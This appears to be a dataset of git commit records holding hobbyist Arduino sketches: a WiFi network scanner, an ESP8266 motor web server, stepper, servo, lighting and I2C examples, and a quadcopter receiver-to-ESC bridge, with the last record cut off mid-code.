/Arduino,NaSymbol\/Arduino,PaoloP74\/Arduino,NicoHood\/Arduino,linino\/Arduino,ikbelkirasan\/Arduino,cscenter\/Arduino,bigjosh\/Arduino,tannewt\/Arduino,wayoda\/Arduino,jaej-dev\/Arduino,ricklon\/Arduino,eggfly\/arduino,xxxajk\/Arduino-1,fungxu\/Arduino,PeterVH\/Arduino,scdls\/Arduino,koltegirish\/Arduino,henningpohl\/Arduino,bsmr-arduino\/Arduino,NaSymbol\/Arduino,eeijcea\/Arduino-1,sanyaade-iot\/Arduino-1,drpjk\/Arduino,acosinwork\/Arduino,nkolban\/Arduino,diydrones\/Arduino,ntruchsess\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,lulufei\/Arduino,Alfredynho\/AgroSis,gberl001\/Arduino,gurbrinder\/Arduino,zaiexx\/Arduino,mattvenn\/Arduino,KlaasDeNys\/Arduino,benwolfe\/esp8266-Arduino,eeijcea\/Arduino-1,stevemarple\/Arduino-org,garci66\/Arduino,shannonshsu\/Arduino,henningpohl\/Arduino,weera00\/Arduino,koltegirish\/Arduino,shiitakeo\/Arduino,mangelajo\/Arduino,PeterVH\/Arduino,acosinwork\/Arduino,OpenDevice\/Arduino,byran\/Arduino,PeterVH\/Arduino,Cloudino\/Cloudino-Arduino-IDE,PaoloP74\/Arduino,weera00\/Arduino,zaiexx\/Arduino,sanyaade-iot\/Arduino-1,vbextreme\/Arduino,Cloudino\/Arduino,adamkh\/Arduino,paulmand3l\/Arduino,tbowmo\/Arduino,gonium\/Arduino,rcook\/DesignLab,ssvs111\/Arduino,tskurauskas\/Arduino,byran\/Arduino,zenmanenergy\/Arduino,talhaburak\/Arduino,HCastano\/Arduino,radut\/Arduino,damellis\/Arduino,rodibot\/Arduino,paulo-raca\/ESP8266-Arduino,SmartArduino\/Arduino-1,andyvand\/Arduino-1,SmartArduino\/Arduino-1,myrtleTree33\/Arduino,stevemarple\/Arduino-org,damellis\/Arduino,pdNor\/Arduino,henningpohl\/Arduino,Chris--A\/Arduino,ricklon\/Arduino,nkolban\/Arduino,fungxu\/Arduino,majenkotech\/Arduino,benwolfe\/esp8266-Arduino,odbol\/Arduino,zederson\/Arduino,lulufei\/Arduino,henningpohl\/Arduino,PaoloP74\/Arduino,steamboating\/Arduino,shiitakeo\/Arduino,mattvenn\/Arduino,zederson\/Arduino,ssvs111\/Arduino,Alfredynho\/AgroSis,HCastano\/Arduino,01org\/Arduino,byran\/Arduino,kidswong999\/Arduino,plinioseniore\/Arduino,diydrones\/Arduino,jaehong\/Xmegaduino,jaej-dev\/Arduino,KlaasDeNys\/Arduino,NaSymbol\/Arduino,tannewt\/Arduino,andrealmeidadomingues\/Arduino,byran\/Arduino,HCastano\/Arduino,ms-iot\/Arduino,ogahara\/Arduino,tskurauskas\/Arduino,ikbelkirasan\/Arduino,majenkotech\/Arduino,gestrem\/Arduino,shiitakeo\/Arduino,snargledorf\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,drpjk\/Arduino,tskurauskas\/Arduino,sanyaade-iot\/Arduino-1,zenmanenergy\/Arduino,Protoneer\/Arduino,eduardocasarin\/Arduino,spapadim\/Arduino,myrtleTree33\/Arduino,noahchense\/Arduino-1,karlitxo\/Arduino,superboonie\/Arduino,noahchense\/Arduino-1,ogahara\/Arduino,cscenter\/Arduino,pdNor\/Arduino,381426068\/Arduino,paulo-raca\/ESP8266-Arduino,damellis\/Arduino,wdoganowski\/Arduino,ssvs111\/Arduino,OpenDevice\/Arduino,Cloudino\/Cloudino-Arduino-IDE,tommyli2014\/Arduino,tskurauskas\/Arduino,NaSymbol\/Arduino,shannonshsu\/Arduino,ssvs111\/Arduino,gberl001\/Arduino,tomkrus007\/Arduino,lulufei\/Arduino,PeterVH\/Arduino,karlitxo\/Arduino,adamkh\/Arduino,wilhelmryan\/Arduino,ektor5\/Arduino,rodibot\/Arduino,Chris--A\/Arduino,ari-analytics\/Arduino,NeuralSpaz\/Arduino,laylthe\/Arduino,eddyst\/Arduino-SourceCode,Gourav2906\/Arduino,danielchalef\/Arduino,talhaburak\/Arduino,smily77\/Arduino,eddyst\/Arduino-SourceCode,raimohanska\/Arduino,NaSymbol\/Arduino,piersoft\/esp8266-Arduino,arunkuttiyara\/Arduino,01org\/Arduino,Cloudino\/Cloudino-Arduino-IDE,myrtleTree33\/Arduino,superboonie\/Arduino,nandojve\/Arduino,bigjosh\/Arduino,paulo-raca\/ESP8266-Arduino,danielchalef\/Arduino,adamkh\/Arduino,gestrem\/Arduino,Alfredynho\/AgroSis,superboonie\/Arduino,zederson\/Arduino,gurbrinder\/Arduino,majenkotech\/Arduino,andrealmeidadomingues\/Arduino,acosinwork\/Arduino,gonium\/Arduino,jaehong\/Xmegaduino,lulufei\/Arduino,UDOOboard\/Arduino,rcook\/DesignLab,jamesrob4\/Arduino,toddtreece\/esp8266-Arduino,zaiexx\/Arduino,wilhelmryan\/Arduino,tbowmo\/Arduino,aichi\/Arduino-2,jabezGit\/Arduino,ricklon\/Arduino,jabezGit\/Arduino,onovy\/Arduino,arunkuttiyara\/Arduino,jmgonzalez00449\/Arduino,wayoda\/Arduino,ari-analytics\/Arduino,jaej-dev\/Arduino,PaintYourDragon\/Arduino,stevemarple\/Arduino-org,mattvenn\/Arduino,snargledorf\/Arduino,mateuszdw\/Arduino,rcook\/DesignLab,pdNor\/Arduino,ari-analytics\/Arduino,championswimmer\/Arduino,wayoda\/Arduino,plaintea\/esp8266-Arduino,garci66\/Arduino,acosinwork\/Arduino,gestrem\/Arduino,superboonie\/Arduino,rcook\/DesignLab,chaveiro\/Arduino,eeijcea\/Arduino-1,Ramoonus\/Arduino,bigjosh\/Arduino,PaintYourDragon\/Arduino,eddyst\/Arduino-SourceCode,mc-hamster\/esp8266-Arduino,snargledorf\/Arduino,Chris--A\/Arduino,wdoganowski\/Arduino,bsmr-arduino\/Arduino,onovy\/Arduino,cscenter\/Arduino,Orthogonal-Systems\/arduino-libs,danielchalef\/Arduino,OpenDevice\/Arduino,eddyst\/Arduino-SourceCode,xxxajk\/Arduino-1,jaimemaretoli\/Arduino,andrealmeidadomingues\/Arduino,bugobliterator\/BUAGI,andyvand\/Arduino-1,myrtleTree33\/Arduino,linino\/Arduino,eduardocasarin\/Arduino,superboonie\/Arduino,ms-iot\/Arduino,onovy\/Arduino,henningpohl\/Arduino,probonopd\/Arduino,andyvand\/Arduino-1,Protoneer\/Arduino,01org\/Arduino,jamesrob4\/Arduino,ccoenen\/Arduino,niggor\/Arduino_cc,arduino-org\/Arduino,EmuxEvans\/Arduino,byran\/Arduino,eggfly\/arduino,jabezGit\/Arduino,eggfly\/arduino,niggor\/Arduino_cc,stevemayhew\/Arduino,eeijcea\/Arduino-1,ektor5\/Arduino,tannewt\/Arduino,shannonshsu\/Arduino,NeuralSpaz\/Arduino,gestrem\/Arduino,shiitakeo\/Arduino,niggor\/Arduino_cc,gonium\/Arduino,sanyaade-iot\/Arduino-1,eggfly\/arduino,Cloudino\/Cloudino-Arduino-IDE,jmgonzalez00449\/Arduino,ikbelkirasan\/Arduino,wilhelmryan\/Arduino,andyvand\/Arduino-1,stevemayhew\/Arduino,eggfly\/arduino,ThoughtWorksIoTGurgaon\/Arduino,paulmand3l\/Arduino,diydrones\/Arduino,bugobliterator\/BUAGI,ashwin713\/Arduino,ogahara\/Arduino,Alfredynho\/AgroSis,danielchalef\/Arduino,ccoenen\/Arduino,adamkh\/Arduino,talhaburak\/Arduino,eduardocasarin\/Arduino,ccoenen\/Arduino,tskurauskas\/Arduino,gberl001\/Arduino,tommyli2014\/Arduino,chaveiro\/Arduino,Cloudino\/Arduino,stevemarple\/Arduino-org,noahchense\/Arduino-1,Gourav2906\/Arduino,ssvs111\/Arduino,radut\/Arduino,ogferreiro\/Arduino,Gourav2906\/Arduino,weera00\/Arduino,me-no-dev\/Arduino-1,tbowmo\/Arduino,radut\/Arduino,jaimemaretoli\/Arduino,myrtleTree33\/Arduino,niggor\/Arduino_cc,zenmanenergy\/Arduino,bsmr-arduino\/Arduino,niggor\/Arduino_cc,gberl001\/Arduino,OpenDevice\/Arduino,arunkuttiyara\/Arduino,zaiexx\/Arduino,paulmand3l\/Arduino,Ramoonus\/Arduino,SmartArduino\/Arduino-1,scdls\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,lulufei\/Arduino,chaveiro\/Arduino,arunkuttiyara\/Arduino,spapadim\/Arduino,gberl001\/Arduino,Cloudino\/Arduino,laylthe\/Arduino,Alfredynho\/AgroSis,henningpohl\/Arduino,lukeWal\/Arduino,NicoHood\/Arduino,danielchalef\/Arduino,bugobliterator\/BUAGI,gonium\/Arduino,Cloudino\/Arduino,xxxajk\/Arduino-1,PeterVH\/Arduino,lukeWal\/Arduino,lukeWal\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,chaveiro\/Arduino,381426068\/Arduino,tbowmo\/Arduino,arduino-org\/Arduino,381426068\/Arduino,andrealmeidadomingues\/Arduino,ashwin713\/Arduino,381426068\/Arduino,Cloudino\/Arduino,wdoganowski\/Arduino,mboufos\/esp8266-Arduino,scdls\/Arduino,fungxu\/Arduino,xxxajk\/Arduino-1,ogferreiro\/Arduino,raimohanska\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,jmgonzalez00449\/Arduino,bigjosh\/Arduino,jmgonzalez00449\/Arduino,Protoneer\/Arduino,pdNor\/Arduino,Chris--A\/Arduino,mateuszdw\/Arduino,NeuralSpaz\/Arduino,niggor\/Arduino_cc,ricklon\/Arduino,wilhelmryan\/Arduino,OpenDevice\/Arduino,zaiexx\/Arduino,odbol\/Arduino,weera00\/Arduino,superboonie\/Arduino,lukeWal\/Arduino,jmgonzalez00449\/Arduino,stevemayhew\/Arduino,noahchense\/Arduino-1,UDOOboard\/Arduino,byran\/Arduino,stevemarple\/Arduino-org,ari-analytics\/Arduino,paulo-raca\/ESP8266-Arduino,plinioseniore\/Arduino,stickbreaker\/Arduino,EmuxEvans\/Arduino,Protoneer\/Arduino,ccoenen\/Arduino,tbowmo\/Arduino,UDOOboard\/Arduino,kidswong999\/Arduino,zaiexx\/Arduino,UDOOboard\/Arduino,garci66\/Arduino,nandojve\/Arduino,NaSymbol\/Arduino,PaintYourDragon\/Arduino,eduardocasarin\/Arduino,danielchalef\/Arduino,rodibot\/Arduino,tomkrus007\/Arduino,smily77\/Arduino,eddyst\/Arduino-SourceCode,raimohanska\/Arduino,piersoft\/esp8266-Arduino,noahchense\/Arduino-1,cscenter\/Arduino,ForestNymph\/Arduino_sources,jmgonzalez00449\/Arduino,diydrones\/Arduino,ntruchsess\/Arduino-1,me-no-dev\/Arduino-1,shannonshsu\/Arduino,gurbrinder\/Arduino,NaSymbol\/Arduino,eeijcea\/Arduino-1,koltegirish\/Arduino,kidswong999\/Arduino,ogferreiro\/Arduino,aichi\/Arduino-2,ashwin713\/Arduino,onovy\/Arduino,Orthogonal-Systems\/arduino-libs,Chris--A\/Arduino,vbextreme\/Arduino,adafruit\/ESP8266-Arduino,smily77\/Arduino,aichi\/Arduino-2,drpjk\/Arduino,NicoHood\/Arduino,plinioseniore\/Arduino,cscenter\/Arduino,radut\/Arduino,adamkh\/Arduino,toddtreece\/esp8266-Arduino,probonopd\/Arduino,superboonie\/Arduino,byran\/Arduino,mateuszdw\/Arduino,ForestNymph\/Arduino_sources,tomkrus007\/Arduino,andyvand\/Arduino-1,lukeWal\/Arduino,jaehong\/Xmegaduino,andrealmeidadomingues\/Arduino,jomolinare\/Arduino,ektor5\/Arduino,championswimmer\/Arduino,jomolinare\/Arduino,fungxu\/Arduino,karlitxo\/Arduino,ForestNymph\/Arduino_sources,paulo-raca\/ESP8266-Arduino,zederson\/Arduino,aichi\/Arduino-2,arduino-org\/Arduino,smily77\/Arduino,wayoda\/Arduino,plinioseniore\/Arduino,ashwin713\/Arduino,gurbrinder\/Arduino","old_file":"WiFi\/examples\/ScanNetworks\/ScanNetworks.ino","new_file":"WiFi\/examples\/ScanNetworks\/ScanNetworks.ino","new_contents":"\/*\n \n This example prints the Wifi shield's MAC address, and\n scans for available Wifi networks using the Wifi shield.\n Every ten seconds, it scans again. It doesn't actually \n connect to any network, so no encryption scheme is specified.\n \n Circuit:\n * WiFi shield attached\n \n created 13 July 2010\n by dlf (Metodo2 srl)\n modified 1 Mar 2012\n by Tom Igoe\n *\/\n\n\n#include <SPI.h>\n#include <WiFi.h>\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n\n \/\/ attempt to connect using WEP encryption:\n Serial.println(\"Initializing Wifi...\");\n WiFi.begin(\"networName\");\n printMacAddress();\n\n\n \/\/ scan for existing networks:\n Serial.println(\"Scanning available networks...\");\n scanNetworks();\n}\n\nvoid loop() {\n delay(10000);\n \/\/ scan for existing networks:\n Serial.println(\"Scanning available networks...\");\n scanNetworks();\n}\n\nvoid printMacAddress() {\n \/\/ the MAC address of your Wifi shield\n byte mac[6]; \n \n \/\/ print your MAC address:\n WiFi.macAddress(mac);\n Serial.print(\"MAC: \");\n Serial.print(mac[5],HEX);\n Serial.print(\":\");\n Serial.print(mac[4],HEX);\n Serial.print(\":\");\n Serial.print(mac[3],HEX);\n Serial.print(\":\");\n Serial.print(mac[2],HEX);\n Serial.print(\":\");\n Serial.print(mac[1],HEX);\n Serial.print(\":\");\n Serial.println(mac[0],HEX);\n}\n\nvoid scanNetworks() {\n \/\/ scan for nearby networks:\n Serial.println(\"** Scan Networks **\");\n byte numSsid = WiFi.scanNetworks();\n\n \/\/ print the list of networks seen:\n Serial.print(\"SSID List:\");\n Serial.println(numSsid);\n \/\/ print the network number and name for each network found:\n for (int thisNet = 0; thisNet<numSsid; thisNet++) {\n Serial.print(thisNet);\n Serial.print(\") Network: \");\n Serial.println(WiFi.SSID(thisNet));\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WiFi\/examples\/ScanNetworks\/ScanNetworks.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"fc9c0246035b91729f7e105c662b421631391639","subject":"cleaned out sensitive info","message":"cleaned out sensitive info\n","repos":"nouyang\/robot_esp8266-12E,nouyang\/robot_esp8266-12E","old_file":"laptop_wifi_motor_helloworld\/laptop_wifi_motor_helloworld.ino","new_file":"laptop_wifi_motor_helloworld\/laptop_wifi_motor_helloworld.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n\n\/\/ !! Hardcoded Wireless Setup\nconst char* ssid = \".....\";\nconst char* password = \"....\";\n\nconst int speed = 0;\n\nESP8266WebServer server(80);\n\nconst int LED_PIN = D0;\n\nconst int MOTOR_PWM_LEFT = D1;\nconst int MOTOR_PWM_RIGHT = D2;\n\nconst int MOTOR_DIR_LEFT = D3;\nconst int MOTOR_DIR_RIGHT = D4;\n\n#define MOTOR_CW LOW\n#define MOTOR_CCW HIGH\n\nvoid setup(void){\n \/\/ Setup motor and LED pins\n pinMode(MOTOR_PWM_LEFT, OUTPUT);\n pinMode(MOTOR_PWM_RIGHT, OUTPUT);\n pinMode(MOTOR_DIR_LEFT, OUTPUT);\n pinMode(MOTOR_DIR_RIGHT, OUTPUT);\n\n pinMode(LED_PIN, OUTPUT);\n\n \/\/ Set initial speed to 0\n analogWrite(MOTOR_PWM_LEFT, 0);\n analogWrite(MOTOR_PWM_RIGHT, 0);\n\n Serial.begin(115200);\n Serial.println(\"\");\n\n \/\/ Set up WIFI\n WiFi.begin(ssid, password);\n\n \/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.print(\"Connected to \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n if (MDNS.begin(\"esp8266\")) {\n Serial.println(\"MDNS responder started\");\n }\n\n \/\/\n \/\/ Handle URLs\n \/\/\n\n server.on(\"\/\", handleRoot);\n\n server.on(\"\/inline\", [](){\n server.send(200, \"text\/plain\", \"this works as well\");\n });\n\n server.on(\"\/motor\", [](){\n String state = server.arg(\"state\");\n analogWrite(MOTOR_PWM_LEFT, state.toInt());\n analogWrite(MOTOR_PWM_RIGHT, state.toInt());\n server.send(200, \"text\/plain\", \"Motor is now \" + state);\n });\n\n server.onNotFound(handleNotFound);\n\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n\n\n\nvoid loop(void){\n server.handleClient();\n}\n\n\n\nvoid handleRoot() {\n server.send(200, \"text\/plain\", \"hello from esp8266!\");\n}\n\nvoid handleNotFound(){\n String message = \"File Not Found\\n\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += (server.method() == HTTP_GET)?\"GET\":\"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n for (uint8_t i=0; i<server.args(); i++){\n message += \" \" + server.argName(i) + \": \" + server.arg(i) + \"\\n\";\n }\n server.send(404, \"text\/plain\", message);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'laptop_wifi_motor_helloworld\/laptop_wifi_motor_helloworld.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"270f5383438b55e1b303187c86bc38e30ebb43bf","subject":"Zoetrope with H-Bridge","message":"Zoetrope with H-Bridge\n","repos":"martindisch\/Arduino","old_file":"Project_10\/Project_10.ino","new_file":"Project_10\/Project_10.ino","new_contents":"const int controlPin1 = 2;\nconst int controlPin2 = 3;\nconst int enablePin = 9;\nconst int directionSwitchPin = 4;\nconst int onOffSwitchStateSwitchPin = 5;\nconst int potPin = A0;\nint onOffSwitchState = 0;\nint previousOnOffSwitchState = 0;\nint directionSwitchState = 0;\nint previousDirectionSwitchState = 0;\nint motorEnabled = 0;\nint motorSpeed = 0;\nint motorDirection = 1;\n\nvoid setup() {\n pinMode(directionSwitchPin, INPUT);\n pinMode(onOffSwitchStateSwitchPin, INPUT);\n pinMode(controlPin1, OUTPUT);\n pinMode(controlPin2, OUTPUT);\n pinMode(enablePin, OUTPUT);\n digitalWrite(enablePin, LOW);\n}\n\nvoid loop() {\n onOffSwitchState = digitalRead(onOffSwitchStateSwitchPin);\n delay(1);\n directionSwitchState = digitalRead(directionSwitchPin);\n motorSpeed = analogRead(potPin) \/ 4;\n if (onOffSwitchState != previousOnOffSwitchState) {\n if (onOffSwitchState == HIGH) {\n motorEnabled = !motorEnabled;\n }\n }\n if (directionSwitchState != previousDirectionSwitchState) {\n if (directionSwitchState == HIGH) {\n motorDirection = !motorDirection;\n }\n }\n if (motorDirection == 1) {\n digitalWrite(controlPin1, HIGH);\n digitalWrite(controlPin2, LOW);\n }\n else {\n digitalWrite(controlPin1, LOW);\n digitalWrite(controlPin2, HIGH);\n }\n if (motorEnabled == 1) {\n analogWrite(enablePin, motorSpeed);\n }\n else {\n analogWrite(enablePin, 0);\n }\n previousDirectionSwitchState = directionSwitchState;\n previousOnOffSwitchState = onOffSwitchState;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Project_10\/Project_10.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8db0a34be842d063a0a774d0b83018d7a21e041f","subject":"Add arduino stepper motor control","message":"Add arduino stepper motor control\n","repos":"the-raspberry-pi-guy\/lidar","old_file":"arduino_stepper\/arduino_stepper.ino","new_file":"arduino_stepper\/arduino_stepper.ino","new_contents":"\n\/*\n Stepper Motor Control\n *\/\n\n#include <Stepper.h>\n\nconst int stepsPerRevolution = 200; \/\/ change this to fit the number of steps per revolution\n\/\/ for your motor\n\n\/\/ initialize the stepper library on pins 8 through 11:\nStepper myStepper(stepsPerRevolution, 8, 9, 10, 11);\n\nint stepCount = 0; \/\/ number of steps the motor has taken\nint stepValue = 0; \/\/ current step number the motor is on\n\nvoid setup() {\n \/\/ initialize the serial port:\n Serial.begin(9600);\n myStepper.setSpeed(200);\n}\n\nvoid loop() {\n \/\/ step one step:\n myStepper.step(1);\n \/\/Serial.print(\"steps:\");\n Serial.println(stepValue);\n \/\/Serial.print(\"degrees: \");\n \/\/Serial.println(stepCount*1.8);\n stepCount++;\n stepValue = stepCount + 1;\n if (stepValue > 200)\n {\n stepValue = stepValue - 200;\n }\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_stepper\/arduino_stepper.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d7ea6be5d4a4012c5187514b91cca4864fed3136","subject":"Adaptive internal lighting rev1.1","message":"Adaptive internal lighting rev1.1\n\nAdded interrupt and override functions\n","repos":"rpihomeautomation\/rpihomeautomation,rpihomeautomation\/rpihomeautomation","old_file":"adaptive_lighting_rev1.1\/adaptive_lighting_rev1.1.ino","new_file":"adaptive_lighting_rev1.1\/adaptive_lighting_rev1.1.ino","new_contents":"\/*\nAdaptive Lighting System\n======== ======== ======\nrev v.1\n#test program for adaptive lighting\n#controls the brightness of an led according to the amount of light present\n#connects the sensor at pin A0 and the LED at pin 9\n#the input is read and the voltage value is send serially\n#the prograam varies it's PWM according to the input voltage\n*\/\n\n\/\/al-adaptive lighting\n\n#define alinput A0\n#define aloutput 9\n#define alinterrupt A1\n#define aloverride A2\n\n\nfloat alsensor,alvoltage; \nint albrightness;\n\nvoid setup() \n{\n Serial.begin(9600);\n pinMode(alinterrupt,INPUT);\n pinMode(aloverride,INPUT);\n}\n\nvoid loop() \n{ alsensor = analogRead(alinput); \/\/read the sensor value\n albrightness = alsensor \/ 4; \/\/convert the value from 10-bit resolution to 8-bit res\n alvoltage = alsensor * (5.0 \/ 1024.0); \/\/convert the value into actual voltage range 0-5V\n Serial.print(\"The voltage is: \"); \/\/prints the voltage through serial\n Serial.println(alvoltage);\n analogWrite(aloutput,albrightness); \/\/output the PWM to the LED\n while(digitalRead(alinterrupt)) \/\/interrupt function\n { if(digitalRead(aloverride)) \/\/override - ON\n analogWrite(aloutput,255);\n else \/\/override - OFF\n analogWrite(aloutput,0);\n }\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'adaptive_lighting_rev1.1\/adaptive_lighting_rev1.1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e84a408adc56e2155082e16ade32020551c281ea","subject":"Add super simple arduino servo-based cutdown program.","message":"Add super simple arduino servo-based cutdown program.\n","repos":"LBCC-SpaceClub\/HAB2017,LBCC-SpaceClub\/HAB2017,LBCC-SpaceClub\/HAB2017","old_file":"gliderCutdown\/gliderCutdown.ino","new_file":"gliderCutdown\/gliderCutdown.ino","new_contents":"#include <Servo.h>\nServo myservo;\nint pos = 0;\n\nvoid setup() {\n myservo.attach(9);\n myservo.write(45); \/\/ Start out in a good position\n delay(5000); \/\/ Wait as long as you like. (milliseconds)\n}\n\nvoid loop() {\n myservo.write(130) \/\/ End in a release position\n while(true); \/\/ Do nothing, forever.\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'gliderCutdown\/gliderCutdown.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"39498fc5aba27478ea24b1b39ae4cd91ffa8feb0","subject":"Create master.ino","message":"Create master.ino","repos":"TaylorHokanson\/CAAint","old_file":"Modules\/i2c_test\/i2c_string\/master.ino","new_file":"Modules\/i2c_test\/i2c_string\/master.ino","new_contents":"\/\/ Wire Master Reader\n\/\/ by Nicholas Zambetti <http:\/\/www.zambetti.com>\n\n\/\/ Demonstrates use of the Wire library\n\/\/ Reads data from an I2C\/TWI slave device\n\/\/ Refer to the \"Wire Slave Sender\" example for use with this\n\n\/\/ Created 29 March 2006\n\n\/\/ This example code is in the public domain.\n\n\n#include <Wire.h>\n\nvoid setup() {\n Wire.begin(); \/\/ join i2c bus (address optional for master)\n Serial.begin(9600); \/\/ start serial for output\n}\n\nvoid loop() {\n Wire.requestFrom(10, 2); \/\/ request x bytes from slave device #y\n\n while (Wire.available()) { \/\/ slave may send less than requested\n char c = Wire.read(); \/\/ receive a byte as character\n Serial.print(c); \/\/ print the character\n }\n Serial.println(\"\"); \n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modules\/i2c_test\/i2c_string\/master.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"916688cbc2ef29f17216ed00c5607aacf754b0dc","subject":"New version of Arduino sketch : both get Rx inputs and Set ESCs","message":"New version of Arduino sketch : both get Rx inputs and Set ESCs\n","repos":"vjaunet\/QUADCOPTER_V2,drjova\/QUADCOPTER_V2,vjaunet\/QUADCOPTER_V2,vjaunet\/QUADCOPTER_V2,drjova\/QUADCOPTER_V2,drjova\/QUADCOPTER_V2,vjaunet\/QUADCOPTER_V2,drjova\/QUADCOPTER_V2,drjova\/QUADCOPTER_V2,vjaunet\/QUADCOPTER_V2","old_file":"ARDUINO\/i2c_rx_and_servo\/i2c_rx_and_servo.ino","new_file":"ARDUINO\/i2c_rx_and_servo\/i2c_rx_and_servo.ino","new_contents":"\/*\/\/\n\n Author : Vincent Jaunet\n \n\n This sketch is made for\n - Get RC from Rx receiver \n - transmit to Rpi pilot\n - Receive ESC and Servos input from Rpi Pilot\n\n based onrcarduino.blogspot.com\n\n*\/\n\n\/\/ include the pinchangeint library - see the links in the related topics section above for details\n#include <PinChangeInt.h>\n#include <Wire.h>\n#include <Servo.h>\n\n\/\/Define I2C variables\n#define SLAVE_ADDRESS 0x04\n\n\/\/LED pin for checking\n#define LED_PIN 13\n\n\/\/For RC inputs Scaling\n#define THR_MIN 890\n#define THR_MAX 1895\n#define RC_MIN 1000\n#define RC_MAX 2000\n#define K_YAW 30\n#define K_PITCH 20\n#define K_ROLL 20\n\n\/\/ These bit flags are set in bUpdateFlagsShared to indicate which\n\/\/ channels have new signals\n#define THROTTLE_FLAG 1\n#define YAW_FLAG 2\n#define PITCH_FLAG 4\n#define ROLL_FLAG 8\n\n\/\/ Assign your channel in pins\n#define THROTTLE_IN_PIN 8\n#define YAW_IN_PIN 11\n#define PITCH_IN_PIN 10\n#define ROLL_IN_PIN 9\n\n\n\/\/ holds the update flags defined above\nvolatile uint8_t bUpdateFlagsShared;\n\n\/\/ shared variables are updated by the ISR and read by loop.\n\/\/ In loop we immediatley take local copies so that the ISR can keep ownership of the \n\/\/ shared ones. To access these in loop\n\/\/ we first turn interrupts off with noInterrupts\n\/\/ we take a copy to use in loop and the turn interrupts back on\n\/\/ as quickly as possible, this ensures that we are always able to receive new signals\nvolatile uint16_t unThrottleInShared;\nvolatile uint16_t unYawInShared;\nvolatile uint16_t unPitchInShared;\nvolatile uint16_t unRollInShared;\n\n\/\/ These are used to record the rising edge of a pulse in the calcInput functions\n\/\/ They do not need to be volatile as they are only used in the ISR. If we wanted\n\/\/ to refer to these in loop and the ISR then they would need to be declared volatile\nuint32_t ulThrottleStart;\nuint32_t ulYawStart;\nuint32_t ulPitchStart;\nuint32_t ulRollStart;\n\n\n\/\/servo variables\n\/\/Number of servos\n#define SERVO_NUM 4\n\n\/\/ Assign your channel out pins\n#define FL_MOTOR_OUT_PIN 4\n#define FR_MOTOR_OUT_PIN 5\n#define BL_MOTOR_OUT_PIN 6\n#define BR_MOTOR_OUT_PIN 7\n\n\/\/define Servo variables\nServo MOTOR[SERVO_NUM];\n\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"multiChannels\");\n\n pinMode(LED_PIN, OUTPUT);\n\n \/\/ using the PinChangeInt library, attach the interrupts\n \/\/ used to read the channels\n PCintPort::attachInterrupt(THROTTLE_IN_PIN, calcThrottle,CHANGE); \n PCintPort::attachInterrupt(YAW_IN_PIN, calcYaw,CHANGE); \n PCintPort::attachInterrupt(PITCH_IN_PIN, calcPitch,CHANGE); \n PCintPort::attachInterrupt(ROLL_IN_PIN, calcRoll,CHANGE); \n\n \/\/ attach servo objects, these will generate the correct \n \/\/ pulses for driving Electronic speed controllers, servos or other devices\n \/\/ designed to interface directly with RC Receivers \n MOTOR[0].attach(FL_MOTOR_OUT_PIN);\n MOTOR[1].attach(FR_MOTOR_OUT_PIN);\n MOTOR[2].attach(BL_MOTOR_OUT_PIN);\n MOTOR[3].attach(BR_MOTOR_OUT_PIN);\n Wire.onReceive(SetServos);\n\n \/\/ initialize i2c as slave\n \/\/ define call backs ofr I2C\n Wire.begin(SLAVE_ADDRESS);\n Wire.onRequest(SendRemote);\n Wire.onReceive(SetServos);\n\n}\n\nvoid loop()\n{\n \/\/ create local variables to hold a local copies of the channel inputs\n \/\/ these are declared static so that thier values will be retained \n \/\/ between calls to loop.\n static uint16_t unThrottleIn;\n static uint16_t unYawIn;\n static uint16_t unPitchIn;\n static uint16_t unRollIn;\n \/\/ local copy of update flags\n static uint8_t bUpdateFlags;\n\n \/\/ check shared update flags to see if any channels have a new signal\n if(bUpdateFlagsShared)\n {\n noInterrupts(); \/\/ turn interrupts off quickly while we take local copies of the shared variables\n\n \/\/ take a local copy of which channels were updated in case we need to use this in the rest of loop\n bUpdateFlags = bUpdateFlagsShared;\n \n \/\/ in the current code, the shared values are always populated\n \/\/ so we could copy them without testing the flags\n \/\/ however in the future this could change, so lets\n \/\/ only copy when the flags tell us we can.\n \n if(bUpdateFlags & THROTTLE_FLAG)\n\t{\n\t unThrottleIn = unThrottleInShared;\n\t}\n \n if(bUpdateFlags & YAW_FLAG)\n\t{\n\t unYawIn = unYawInShared;\n\t}\n \n if(bUpdateFlags & PITCH_FLAG)\n\t{\n\t unPitchIn = unPitchInShared;\n\t}\n\n if(bUpdateFlags & ROLL_FLAG)\n\t{\n\t unRollIn = unRollInShared;\n\t}\n \n \/\/ clear shared copy of updated flags as we have already take\n \/\/ we still have a local copy if we need to use it in bUpdateFlags\n bUpdateFlagsShared 